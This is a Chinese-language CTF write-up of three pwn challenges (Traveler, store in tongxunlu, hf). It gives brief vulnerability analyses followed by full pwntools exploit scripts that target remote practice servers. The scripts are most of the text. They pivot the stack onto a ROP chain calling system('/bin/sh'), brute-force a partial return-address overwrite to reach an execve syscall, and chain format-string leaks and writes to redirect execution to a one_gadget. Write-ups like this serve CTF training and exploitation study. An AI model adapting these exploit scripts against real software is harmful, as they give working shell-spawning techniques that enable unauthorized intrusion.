PWN

比赛那天有事没打,赛后补的题

Traveler

程序分析

主函数存在栈溢出,只能覆盖到rbp和返回地址,同时拥有一次往bss段上写入 0x28 个字节的可控内容的机会

利用思路

在bss段上布置好rop_chain,栈溢出劫持rbp为bss段以及劫持返回地址为 leave; ret ,将栈迁移至以及布置好的rop_chain上。这里有个坑,就是直接写入执行 system("/bin/sh") 的rop_chain会无法正常 getshell ,这是因为栈迁移后的栈地址太低了,在执行 system 函数时容易使栈指针rsp下降到不可写的位置而导致 Segmentation fault ,如下图……

所以需要先将栈抬至足够高再来打 system("/bin/sh") 的rop

这里我是利用 pop rsi; pop r15; ret; 的gadget配合 read 函数不断地抬高栈,每次 read 执行完会返回至该gadget出抬高栈帧地址同时更新rsi寄存器,即 read 的二参,这样在下一次 read 的时候就可以往高处写入覆盖至 read 的返回地址处。依次循环就可以将栈抬高至能够完整执行 system("/bin/sh") 的位置

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#!/usr/bin/python2
# -*- coding: UTF-8 -*-
from pwn import *

# io = process('./traveler')
io = remote('node4.buuoj.cn', 25536)

context.binary = 'traveler'

sd = lambda x : io.send(x)
sa = lambda a, b : io.sendafter(a, b)
ia = lambda : io.interactive()

leave = 0x0000000000401253
rop_addr = 0x00000000004040A0
pop_rdi = 0x00000000004012c3
pop_rsi_r15 = 0x00000000004012c1
sys_plt = 0x0000000000401090
read_plt = 0x00000000004010A0
ret = 0x0000000000401254
rop_chain = flat([
'/bin/sh\x00',
pop_rsi_r15,
rop_addr + 0x28,
0xdeadbeef,
read_plt,
])
pld = flat({
0x20: [
rop_addr,
leave
]
})
sa('who r u?\n', pld)
sa('How many travels can a person have in his life?\n', rop_chain)
for i in range(2, 70):
rop_chain = flat([
pop_rsi_r15,
rop_addr + 0x28 * i,
0xdeadbeef,
read_plt,
ret
])
sd(rop_chain)
rop_chain = flat([
pop_rdi,
rop_addr,
ret,
sys_plt
])
sd(rop_chain)
ia()

store in tongxunlu

程序分析

eeee_wantboy 函数内存在一处栈溢出,但只能输入数据只能覆盖至rbp和返回地址。后续还有一处往栈上数组v1处输入的机会,但不存在溢出

利用思路

一开始想的是利用溢出将栈迁移至 eeee_wantboy 函数数组v1的位置打rop但程序开启了pie保护,又没有泄露出elf或libc的基址,所以不好在v1处提前布置好rop_chain。

在函数 hao_kang_de 内调用了 sys_write ,于是就有 syscall 的gadget可以用。 eeee_wantboy 函数返回前调用了 strtol 并且没有重置rax寄存器, strtol 的一参为我们第一次输入buf数组的位置,所以我们可以在 eeee_wantboy 返回时控制rax和rdi,然后将返回地址劫持为该gadget的位置。又因为在执行 syscall 前会将rsi, rdi寄存器置零,所以可以构造输入数据执行 execve("/bin/sh", 0, 0)

因为地址随机化,所以劫持返回地址时需要对目标gadget地址的倒数第四个16进制数位进行爆破

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#!/usr/bin/python2
# -*- coding: UTF-8 -*-
from pwn import *

context.binary = 'xxx'

sa = lambda a, b : io.sendafter(a, b)
ia = lambda : io.interactive()

while True:
# io = process('./xxx')
io = remote('node4.buuoj.cn', 27873)
pld = flat({
0: '59/bin/sh\x00',
0x38: p16(0x0899)
})
sa('if you give me your number,i will give you some hao_kang_de\n', pld)
sa('anything want to say?\n', 'a')
try:
io.recv(timeout = 0.5)
break
except:
io.close()
sleep(0.1)
ia()

hf

程序分析

主函数读取输入后会调用 0x00000000000043D5 处的函数对输入进行处理,该函数会对输入的每个字节打一个map,然后每4个字节为一组处理。map后的每个字节有效二进制为6位,4个刚好是24位,每处理到第4个字节时,会将这一组的24位切分为3个字节(一个字节8位),将它们赋值到 malloc 出来的指针上

菜单一共有5个功能

add 函数中有一步会调用 0x000000000000464B 处的函数对主函数处理后的输入再进行处理,但这次是map完后3个源字节生成4个目标字节

show , delete , make_empty 这三个函数中都会调用 0x00000000000045A6 处的函数,该函数有格式化字符串,可以构造任意地址泄露+任意地址写

利用思路

利用 show 函数中的格式化字符串泄露出libc, heap, elf的基址和栈地址,然后利用 make_empty 函数中的循环格式化字符串以两个字节为一组劫持 make_empty 函数的返回地址为 one_gadget 。一开始也想过用格式化字符串任意地址写劫持 free_hook ,但因为输入的内容会被map导致所能得到的字符种数有限,无法在格式化参数中直接写入 free_hook 的地址,后面的劫持返回地址同样无法直接构造参数,所以利用rbp上的二级指针间接修改栈上数据得到指向返回地址位置的指针

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
#!/usr/bin/python2
# -*- coding: UTF-8 -*-
from pwn import *

context.binary = 'hf'
# io = process('./hf')
io = remote('node4.buuoj.cn', 28692)

sd = lambda x : io.send(x)
ru = lambda x : io.recvuntil(x, drop = True)
ia = lambda : io.interactive()
libc_os = lambda x : libc_base + x
lg = lambda x : info('\x1b[01;38;5;214m %s --> 0x%x \033[0m' % (x, eval(x)))

def get_map(n):
if n == 0:
return p8((160>>4)^80)
elif n == 1:
return p8((16>>4)^80)
elif n == 2:
return p8((192>>4)^64)
elif n == 3:
return p8((32>>4)^80)
elif n == 4:
return p8((64>>4)^80)
elif n == 5:
return p8((128>>4)^96)
elif n == 6:
return p8((128>>4)^64)
elif n == 7:
return p8((64>>4)^96)
elif n == 8:
return p8((0>>4)^48)
elif n == 9:
return p8((80>>4)^64)
elif n == 0xa:
return p8((80>>4)^96)
elif n == 0xb:
return p8((176>>4)^48)
elif n == 0xc:
return p8((224>>4)^96)
elif n == 0xd:
return p8((144>>4)^64)
elif n == 0xe:
return p8((0>>4)^80)
elif n == 0xf:
return p8((112>>4)^96)
elif n == 0x10:
return p8((160>>4)^96)
elif n == 0x11:
return p8((32>>4)^112)
elif n == 0x12:
return p8((208>>4)^96)
elif n == 0x13:
return p8((224>>4)^64)
elif n == 0x14:
return p8((64>>4)^32)
elif n == 0x15:
return p8((80>>4)^32)
elif n == 0x16:
return p8((64>>4)^48)
elif n == 0x17:
return p8((32>>4)^96)
elif n == 0x18:
return p8((64>>4)^64)
elif n == 0x19:
return p8((32>>4)^48)
elif n == 0x1a:
return p8((112>>4)^64)
elif n == 0x1b:
return p8((112>>4)^48)
elif n == 0x1c:
return p8((48>>4)^64)
elif n == 0x1d:
return p8((48>>4)^48)
elif n == 0x1e:
return p8((64>>4)^112)
elif n == 0x1f:
return p8((128>>4)^80)
elif n == 0x20:
return p8((112>>4)^80)
elif n == 0x21:
return p8((16>>4)^112)
elif n == 0x22:
return p8((32>>4)^64)
elif n == 0x23:
return p8((96>>4)^80)
elif n == 0x24:
return p8((240>>4)^96)
elif n == 0x25:
return p8((128>>4)^48)
elif n == 0x26:
return p8((16>>4)^96)
elif n == 0x27:
return p8((176>>4)^64)
elif n == 0x28:
return p8((96>>4)^96)
elif n == 0x29:
return p8((208>>4)^64)
elif n == 0x2a:
return p8((144>>4)^112)
elif n == 0x2b:
return p8((48>>4)^112)
elif n == 0x2c:
return p8((144>>4)^48)
elif n == 0x2d:
return p8((112>>4)^112)
elif n == 0x2e:
return p8((16>>4)^64)
elif n == 0x2f:
return p8((80>>4)^48)
elif n == 0x30:
return p8((144>>4)^96)
elif n == 0x31:
return p8((80>>4)^80)
elif n == 0x32:
return p8((96>>4)^48)
elif n == 0x33:
return p8((96>>4)^64)
elif n == 0x34:
return p8((160>>4)^112)
elif n == 0x35:
return p8((96>>4)^112)
elif n == 0x36:
return p8((16>>4)^48)
elif n == 0x37:
return p8((144>>4)^80)
elif n == 0x38:
return p8((48>>4)^96)
elif n == 0x39:
return p8((176>>4)^96)
elif n == 0x3a:
return p8((80>>4)^112)
elif n == 0x3b:
return p8((128>>4)^112)
elif n == 0x3c:
return p8((0>>4)^112)
elif n == 0x3d:
return p8((160>>4)^64)
elif n == 0x3e:
return p8((48>>4)^80)
elif n == 0x3f:
return p8((192>>4)^96)
else:
info('\x1b[01;38;5;214m %s --> %s \033[0m' % ('ERROR', 'get_map: ' + hex(n) + '(\'' + chr(n) + '\')'))
exit()

def get_map1(n):
if type(n) != 'int':
n = ord(n)
if n == 0x57:
return 0
elif n == 0x74:
return 1
elif n == 0x41:
return 2
elif n == 0x7a:
return 3
elif n == 0x54:
return 4
elif n == 0x31:
return 5
elif n == 0x58:
return 6
elif n == 0x38:
return 7
elif n == 0x25:
return 8
elif n == 0x30:
return 9
elif n == 0x6c:
return 0xa
elif n == 0x70:
return 0xb
elif n == 0x4e:
return 0xc
elif n == 0x53:
return 0xd
elif n == 0x4b:
return 0xe
elif n == 0x75:
return 0xf
elif n == 0x63:
return 0x10
elif n == 0x6f:
return 0x11
elif n == 0x56:
return 0x12
elif n == 0x78:
return 0x13
elif n == 0x65:
return 0x14
elif n == 0x76:
return 0x15
elif n == 0x69:
return 0x16
elif n == 0x46:
return 0x17
elif n == 0x6a:
return 0x18
elif n == 0x62:
return 0x19
elif n == 0x4a:
return 0x1a
elif n == 0x39:
return 0x1b
elif n == 0x68:
return 0x1c
elif n == 0x72:
return 0x1d
elif n == 0x71:
return 0x1e
elif n == 0x47:
return 0x1f
elif n == 0x4c:
return 0x20
elif n == 0x42:
return 0x21
elif n == 0x77:
return 0x22
elif n == 0x79:
return 0x23
elif n == 0x64:
return 0x24
elif n == 0x59:
return 0x25
elif n == 0x45:
return 0x26
elif n == 0x4d:
return 0x27
elif n == 0x6b:
return 0x28
elif n == 0x32:
return 0x29
elif n == 0x36:
return 0x2a
elif n == 0x66:
return 0x2b
elif n == 0x3b:
return 0x2c
elif n == 0x49:
return 0x2d
elif n == 0x61:
return 0x2e
elif n == 0x43:
return 0x2f
elif n == 0x6e:
return 0x30
elif n == 0x50:
return 0x31
elif n == 0x34:
return 0x32
elif n == 0x51:
return 0x33
elif n == 0x35:
return 0x34
elif n == 0x37:
return 0x35
elif n == 0x5a:
return 0x36
elif n == 0x48:
return 0x37
elif n == 0x44:
return 0x38
elif n == 0x6d:
return 0x39
elif n == 0x67:
return 0x3a
elif n == 0x33:
return 0x3b
elif n == 0x52:
return 0x3c
elif n == 0x73:
return 0x3d
elif n == 0x55:
return 0x3e
elif n == 0x24:
return 0x3f
else:
info('\x1b[01;38;5;214m %s --> %s \033[0m' % ('ERROR', 'get_map1: ' + hex(n) + '(\'' + chr(n) + '\')'))
exit()

def add(content):
content += 'a' * (4 - len(content) % 4)
size = len(content)
pld = flat([
get_map(0),
get_map(0b010000),
get_map(0),
get_map(0),

get_map(0),
get_map(0),
get_map(0),
get_map(0),

get_map(0),
get_map(0),
get_map(0),
get_map(3 * (size / 4)),

get_map(0),
get_map(0),
get_map(0),
get_map(0)
])
for c in content:
pld += get_map(get_map1(c))
sd(pld)

def edit(idx, content):
content += 'a' * (len(content) % 4)
size = len(content)
if idx:
idx = 0b000100 + (idx - 1)
pld = flat([
get_map(0),
get_map(0b100000),
get_map(0),
get_map(0),

get_map(0),
get_map(0),
get_map(idx),
get_map(0),

get_map(0),
get_map(0),
get_map(0),
get_map(3 * (size / 4)),

get_map(0),
get_map(0),
get_map(0),
get_map(0)
])
for c in content:
pld += get_map(get_map1(c))
sd(pld)

def show(idx):
if idx:
idx = 0b000100 + (idx - 1)
pld = flat([
get_map(0),
get_map(0b110000),
get_map(0),
get_map(0),

get_map(0),
get_map(0),
get_map(idx),
get_map(0)
])
sd(pld)

def delete(idx):
if idx:
idx = 0b000100 + (idx - 1)
pld = flat([
get_map(0b000001),
get_map(0),
get_map(0),
get_map(0),

get_map(0),
get_map(0),
get_map(idx),
get_map(0)
])
sd(pld)

def make_empty():
pld = flat([
get_map(0b000001),
get_map(0b010000),
get_map(0),
get_map(0),

get_map(0),
get_map(0),
get_map(0),
get_map(0)
])
sd(pld)

add('%9$p%10$p%11$p%23$p') #0
sleep(0.1)
show(0)
ru('0: 0x')
heap_base = int(ru('0x'), 16) - (0x55604feb26d0 - 0x55604feb2000)
lg('heap_base')
ret_addr = int(ru('0x'), 16) - (0x7ffe5d666a90 - 0x7ffe5d666a98)
lg('ret_addr')
pie_base = int(ru('0x'), 16) - (0x55e4f81f6808 - 0x55e4f81f2000)
lg('pie_base')
libc_base = int(ru('a\n'), 16) - (0x7f1b78b38565 - 0x7f1b78b10000)
lg('libc_base')
one = libc_os(0xde78f)

pld = flat([
'%',
str(int(hex(ret_addr)[-2:], 16) - 3),
'c',
'%10$hhn',
])
sleep(0.1)
add(pld) #1
pld = flat([
'%',
str(int(hex(one)[-4:], 16) - 3),
'c',
'%18$hn',
])
sleep(0.1)
add(pld) #2

pld = flat([
'%',
str(int(hex(ret_addr + 2)[-2:], 16) - 3),
'c',
'%10$hhn',
])
sleep(0.1)
add(pld) #3
pld = flat([
'%',
str(int(hex(one)[-8:-4], 16) - 3),
'c',
'%18$hn',
])
sleep(0.1)
add(pld) #4

pld = flat([
'%',
str(int(hex(ret_addr + 4)[-2:], 16) - 3),
'c',
'%10$hhn',
])
sleep(0.1)
add(pld) #5
pld = flat([
'%',
str(int(hex(one)[-12:-8], 16) - 3),
'c',
'%18$hn',
])
sleep(0.1)
add(pld) #6

sleep(0.1)
make_empty()
ia()